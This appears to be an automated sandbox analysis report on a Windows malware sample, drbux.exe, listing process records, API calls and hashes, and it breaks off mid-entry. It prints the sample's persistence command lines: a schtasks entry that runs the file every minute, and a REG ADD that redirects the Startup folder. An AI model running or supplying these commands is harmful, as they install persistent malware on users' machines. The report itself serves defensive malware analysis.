Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 2408 Parent PID: 6108

General

Start time:	18:35:18
Start date:	19/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 4688 Parent PID: 7000

General

Start time:	18:35:18
Start date:	19/07/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN drbux.exe /TR 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe' /F
Imagebase:	0x850000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5740 Parent PID: 4688

General

Start time:	18:35:19
Start date:	19/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: reg.exe PID: 6232 Parent PID: 6108

General

Start time:	18:35:19
Start date:	19/07/2021
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\
Imagebase:	0xd60000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: drbux.exe PID: 648 Parent PID: 936

General

Start time:	18:35:21
Start date:	19/07/2021
Path:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Imagebase:	0x12d0000
File size:	4470944 bytes
MD5 hash:	6738C904BA78A2268A8950152A6C7448
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: drbux.exe PID: 6264 Parent PID: 936

General

Start time:	18:36:02
Start date:	19/07/2021
Path:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Imagebase:	0x12d0000
File size:	4470944 bytes
MD5 hash:	6738C904BA78A2268A8950152A6C7448
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: drbux.exe PID: 4928 Parent PID: 936

General

Start time:	18:37:01
Start date:	19/07/2021
Path:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Imagebase:	0x12d0000
File size:	4470944 bytes
MD5 hash:	6738C904BA78A2268A8950152A6C7448
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: drbux.exe PID: 7000 Parent PID: 6896 drbux.exeCOMMON

Executed Functions

Function 012D1D60, Relevance: 27.2, APIs: 18, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 012D1D8A
GetProcessHeap.KERNEL32(00000008,?), ref: 012D1D9F
HeapAlloc.KERNEL32(00000000), ref: 012D1DA2
GetUserNameW.ADVAPI32(00000000,?), ref: 012D1DB0
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 012D1DD3
GetProcessHeap.KERNEL32(00000008,?), ref: 012D1DDE
HeapAlloc.KERNEL32(00000000), ref: 012D1DE1
GetProcessHeap.KERNEL32(00000008,?), ref: 012D1DF1
HeapAlloc.KERNEL32(00000000), ref: 012D1DF4
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 012D1E1E
ConvertSidToStringSidW.ADVAPI32(00000000,?), ref: 012D1E31
GetProcessHeap.KERNEL32(00000000,?), ref: 012D1EC2
HeapFree.KERNEL32(00000000), ref: 012D1ECB
GetProcessHeap.KERNEL32(00000000,00000000), ref: 012D1ED0
HeapFree.KERNEL32(00000000), ref: 012D1ED3
GetProcessHeap.KERNEL32(00000000,?), ref: 012D1EDA
HeapFree.KERNEL32(00000000), ref: 012D1EDD
LocalFree.KERNEL32(?), ref: 012D1EE2

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: ee73a8de4e806c48516829e49b2fb79bbe735990298452557d2a9447f41b29b8
Instruction ID: 7ae3ed3ecdc2877ab925cb114de9a4e4c5ee2f1eac2aebeee55823e4c694c5ce
Opcode Fuzzy Hash: ee73a8de4e806c48516829e49b2fb79bbe735990298452557d2a9447f41b29b8
Instruction Fuzzy Hash: 0E515275E00219ABEB10DFA5DD88FBFBBBCEF44254F144569EA05A3240DB709A14CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 012DBFA0, Relevance: 13.6, APIs: 5, Strings: 2, Instructions: 1365libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 012D3E80: GetVersionExW.KERNEL32(?), ref: 012D3ED6

Part of subcall function 012D4130: GetVersionExW.KERNEL32(?), ref: 012D4186

Part of subcall function 012D1D60: GetUserNameW.ADVAPI32(00000000,?), ref: 012D1D8A
Part of subcall function 012D1D60: GetProcessHeap.KERNEL32(00000008,?), ref: 012D1D9F
Part of subcall function 012D1D60: HeapAlloc.KERNEL32(00000000), ref: 012D1DA2
Part of subcall function 012D1D60: GetUserNameW.ADVAPI32(00000000,?), ref: 012D1DB0
Part of subcall function 012D1D60: LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 012D1DD3
Part of subcall function 012D1D60: GetProcessHeap.KERNEL32(00000008,?), ref: 012D1DDE
Part of subcall function 012D1D60: HeapAlloc.KERNEL32(00000000), ref: 012D1DE1
Part of subcall function 012D1D60: GetProcessHeap.KERNEL32(00000008,?), ref: 012D1DF1
Part of subcall function 012D1D60: HeapAlloc.KERNEL32(00000000), ref: 012D1DF4
Part of subcall function 012D1D60: LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 012D1E1E
Part of subcall function 012D1D60: ConvertSidToStringSidW.ADVAPI32(00000000,?), ref: 012D1E31

LoadLibraryA.KERNEL32(00000000), ref: 012DC00A
GetProcAddress.KERNEL32(00000000,000002A8), ref: 012DC064
FreeLibrary.KERNEL32(00000000), ref: 012DC06F
GetUserNameW.ADVAPI32(?,00000100), ref: 012DC0E2
GetComputerNameExW.KERNEL32(00000002,?,00000100,?,?,?), ref: 012DC1C2

Part of subcall function 012DF090: Concurrency::cancel_current_task.LIBCPMT ref: 012DF144

Strings

30087f, xrefs: 012DC428
152138533219, xrefs: 012DB567, 012DC2A7

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapName$AllocProcessUser$AccountLibraryLookupVersion$AddressComputerConcurrency::cancel_current_taskConvertFreeLoadProcString
String ID: 152138533219$30087f
API String ID: 1144133639-2848415283
Opcode ID: 523a81e207a272f78f903ac12d2cd47d2588ff315df92ebb4d924969a07cdfda
Instruction ID: 577409babecff739bf3c59e0e9bffae1016580d434ab81579ba273f189f35dfd
Opcode Fuzzy Hash: 523a81e207a272f78f903ac12d2cd47d2588ff315df92ebb4d924969a07cdfda
Instruction Fuzzy Hash: AEB23171A201184BEB2CDB38CD887ADBA76AB91314F54829CE409A73D5EB358FD5CF41

Uniqueness

Uniqueness Score: -1.00%

Function 012D68F0, Relevance: 12.5, APIs: 8, Instructions: 477networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(012FDDCC,00000000,00000000,00000000,00000000), ref: 012D691C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 012D693E
HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 012D6983

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: InternetOpen$ConnectHttpRequest
String ID:
API String ID: 3864186401-0
Opcode ID: 73d41ed8892afa9c64d559ba875e28035013df5843a839dd7a4dad58b7f5a50a
Instruction ID: d8dab32d13352df6f5edc14b340c104eaa2dee1f381a6bba9e6e108673b6263d
Opcode Fuzzy Hash: 73d41ed8892afa9c64d559ba875e28035013df5843a839dd7a4dad58b7f5a50a
Instruction Fuzzy Hash: B8021470A202089BEB14EF68CD49BEE7FB6EF51304F548158E8052B2C6E7759985CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 012D4130, Relevance: 7.6, APIs: 5, Instructions: 122COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 012D4186

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 8e5a909714f9e2d84dc26844791bead3850f0cbe8b70d8bfb6dcab9f3dc92ae3
Instruction ID: 7484331bba51fe39969e68913ca18f751e07c48022db7d7e9f0361b045a05507
Opcode Fuzzy Hash: 8e5a909714f9e2d84dc26844791bead3850f0cbe8b70d8bfb6dcab9f3dc92ae3
Instruction Fuzzy Hash: 6C314C70D202599BDB14BBB8DC4D7EDBBB8EF51324F84426CED0057684EB748A8587D2

Uniqueness

Uniqueness Score: -1.00%

Function 012D29E0, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 295COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,?,?,?,00000000,00000000), ref: 012D2A4D

Strings

runas, xrefs: 012D2A0F
rundll32.exe, xrefs: 012D2C3C

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: ExecuteShell
String ID: runas$rundll32.exe
API String ID: 587946157-4081450877
Opcode ID: d2ef4f58ca33010ae87cc45f2aac5fc5c71dbde1b2a576aa9cfe1fbc7489a40f
Instruction ID: f08f032d1ff263ea4e59b37dbffe4806213a371d9277eda003fad023405cec84
Opcode Fuzzy Hash: d2ef4f58ca33010ae87cc45f2aac5fc5c71dbde1b2a576aa9cfe1fbc7489a40f
Instruction Fuzzy Hash: C1A15A31620109DFEB08DF28CD85BEE7BA6EF95304F648118F9158B2C5D775DA82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 012E01D9, Relevance: 1.7, APIs: 1, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 012D1C6E

Part of subcall function 012E0E36: RaiseException.KERNEL32(E06D7363,00000001,00000003,012D1C4C,012DE84C,E8013020,?,012D1C4C,?,012FF4FC), ref: 012E0E96

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 012E0718

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___std_exception_copy
String ID:
API String ID: 1131819199-0
Opcode ID: 2f22dcd27f37df9c021641129934f31a42c3338f9308e5cb7dcf525c8fdce543
Instruction ID: 8f78a74660034d8d314bd4e1f2fbeeea56d6549b6fcc23b1aea450363517b0f0
Opcode Fuzzy Hash: 2f22dcd27f37df9c021641129934f31a42c3338f9308e5cb7dcf525c8fdce543
Instruction Fuzzy Hash: E451E471A217068BEB2ACF58D4986AEBBF8FB04310F60846AE605EB244D3B0D941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 012D8090, Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 381COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 012D8A27
std::_Xinvalid_argument.LIBCPMT ref: 012D8A36

Strings

invalid stoi argument, xrefs: 012D8A22, 012D8A31, 012D94E5, 012D94F4
:::, xrefs: 012D8A79
stoi argument out of range, xrefs: 012D8A3B, 012D94FE

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argumentstd::_
String ID: :::$invalid stoi argument$stoi argument out of range
API String ID: 909987262-1139504419
Opcode ID: 5f68bb5043a1b130daad705d3c7f98f9c44435c0ad4a752fd6e35aee6b67a7d6
Instruction ID: cec9997072bfa4eb562734ad0ecc2cfdc78c444515e1ab54a22e867b93a3e47a
Opcode Fuzzy Hash: 5f68bb5043a1b130daad705d3c7f98f9c44435c0ad4a752fd6e35aee6b67a7d6
Instruction Fuzzy Hash: D6E1D770E10209DFEF14EFA8C8547EDBBB9EF20308F548058E51567286D7B59A89CF92

Uniqueness

Uniqueness Score: -1.00%

Function 012DA540, Relevance: 11.8, APIs: 1, Strings: 5, Instructions: 1281COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 012DB534

Part of subcall function 012DF400: Concurrency::cancel_current_task.LIBCPMT ref: 012DF521

Part of subcall function 012DF090: Concurrency::cancel_current_task.LIBCPMT ref: 012DF144

Strings

5120, xrefs: 012DB142, 012DB315
invalid stoi argument, xrefs: 012DB52F
30087f, xrefs: 012DC428
152138533219, xrefs: 012DB567, 012DC2A7
stoi argument out of range, xrefs: 012DB5AA

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Concurrency::cancel_current_task$Xinvalid_argumentstd::_
String ID: 152138533219$30087f$5120$invalid stoi argument$stoi argument out of range
API String ID: 2406272785-302989965
Opcode ID: 0e415702bcf55b30292431b075a9d9433e0ca61b73b16d3f5b8e646efae9df08
Instruction ID: b212a05c2c6fec020ca48d1e9cc902a2ef7e133f2a7636ac3c91377db80a82de
Opcode Fuzzy Hash: 0e415702bcf55b30292431b075a9d9433e0ca61b73b16d3f5b8e646efae9df08
Instruction Fuzzy Hash: 74A26931E201054BDB08EF7CCC94BBCBF76AF52314F988258D855AB2C5D735DA868B91

Uniqueness

Uniqueness Score: -1.00%

Function 012D3E80, Relevance: 9.2, APIs: 6, Instructions: 212COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 012D3ED6

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 00ecf811232daa9ebfe955698e528d537e74e376ef6c751b17f27be04907857c
Instruction ID: 486581424ab0f30c965307b433de6e35e1b106d1b7b1bf61c1b052764715c76e
Opcode Fuzzy Hash: 00ecf811232daa9ebfe955698e528d537e74e376ef6c751b17f27be04907857c
Instruction Fuzzy Hash: 60614971D292498FEB35EA68EC493ADBBF4FB04321F54029AED00D7684E775899487C2

Uniqueness

Uniqueness Score: -1.00%

Function 012D4750, Relevance: 6.3, APIs: 4, Instructions: 281COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,?), ref: 012D476D

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: b1ba7ce21c311dac41ef40d0eb7ce8718f48c1faa1364f873b6b2cd5af95f074
Instruction ID: 00036affc1b3659ffc6c4a90b27b19f4313680effc0ce40b4b4fc89eb874037c
Opcode Fuzzy Hash: b1ba7ce21c311dac41ef40d0eb7ce8718f48c1faa1364f873b6b2cd5af95f074
Instruction Fuzzy Hash: B8912730E10149ABDF14EFA8DD98BFEBBB9EF54304F504158E901A7680D7746A46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 012DEBF0, Relevance: 4.6, APIs: 3, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Name$AllocProcess$AccountLookupUser$ConvertPathStringTemp
String ID:
API String ID: 188542827-0
Opcode ID: b2b5930325c27d72ed6607879d359c6237bc4f2a7f7f93b4343bb9d1ea977b60
Instruction ID: 39b9af4af0dc9d958eac8c3f13a991f2834ddbb937b2398408ed7f2f5a95b012
Opcode Fuzzy Hash: b2b5930325c27d72ed6607879d359c6237bc4f2a7f7f93b4343bb9d1ea977b60
Instruction Fuzzy Hash: 17313A31E10009ABEB14EBA8DD89FEEB77ADF14300FA04119F611A71C4EB346945C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 012E7B27, Relevance: 4.5, APIs: 3, Instructions: 17fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,012E2C32,?), ref: 012E7B2F
GetLastError.KERNEL32(?,012E2C32,?), ref: 012E7B39
__dosmaperr.LIBCMT ref: 012E7B40

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteErrorFileLast__dosmaperr
String ID:
API String ID: 1545401867-0
Opcode ID: 1e9aa592dffeb9b29234273ec26adba27fe6ec9f5817639c6cd5b239be1a221d
Instruction ID: 8a8183e8c7201c96ac8c3d6a6f5e188cd7c561b8c2c6a786b945513aeb6505ad
Opcode Fuzzy Hash: 1e9aa592dffeb9b29234273ec26adba27fe6ec9f5817639c6cd5b239be1a221d
Instruction Fuzzy Hash: A6D012321141097B8F102BF6BC0C817BBACAA813B57904639F62CC5290FE31C4518A95

Uniqueness

Uniqueness Score: -1.00%

Function 012E2BDF, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 012E2C3E

Part of subcall function 012E7B27: DeleteFileW.KERNEL32(?,?,012E2C32,?), ref: 012E7B2F
Part of subcall function 012E7B27: GetLastError.KERNEL32(?,012E2C32,?), ref: 012E7B39
Part of subcall function 012E7B27: __dosmaperr.LIBCMT ref: 012E7B40

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteErrorFileLast__dosmaperr_free
String ID:
API String ID: 3353641461-0
Opcode ID: 2eaf209bd54212eeffceccc94caad0c427b3e2c306b0fa27b9ae29a7701a3cdd
Instruction ID: 081be0d569da73032fb61c624da8166738346cbc9953796d61d9a24f5b1999c1
Opcode Fuzzy Hash: 2eaf209bd54212eeffceccc94caad0c427b3e2c306b0fa27b9ae29a7701a3cdd
Instruction Fuzzy Hash: F201D672C2025AEEDF15AFE8CC087BE7FF89B14310F50016AD619E2180EA708A4087D0

Uniqueness

Uniqueness Score: -1.00%

Function 012E6FCC, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,012DE84C,?,?,012E01F3,012DE84C,?,012DF118,E8013021,74786490), ref: 012E6FFE

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0ee99d88001dae76d7b154d6a39407d78ca12e26d52c238061958a4199032d59
Instruction ID: 52239c600d414165b29a74027c5171723ed08c7377707680543b09035e57d61c
Opcode Fuzzy Hash: 0ee99d88001dae76d7b154d6a39407d78ca12e26d52c238061958a4199032d59
Instruction Fuzzy Hash: 41E0E5351701125BEA33666ADC0CB6B3EC8AB713B1FC50025EE069A2C0DA60C80082E1

Uniqueness

Uniqueness Score: -1.00%

Function 012DE920, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

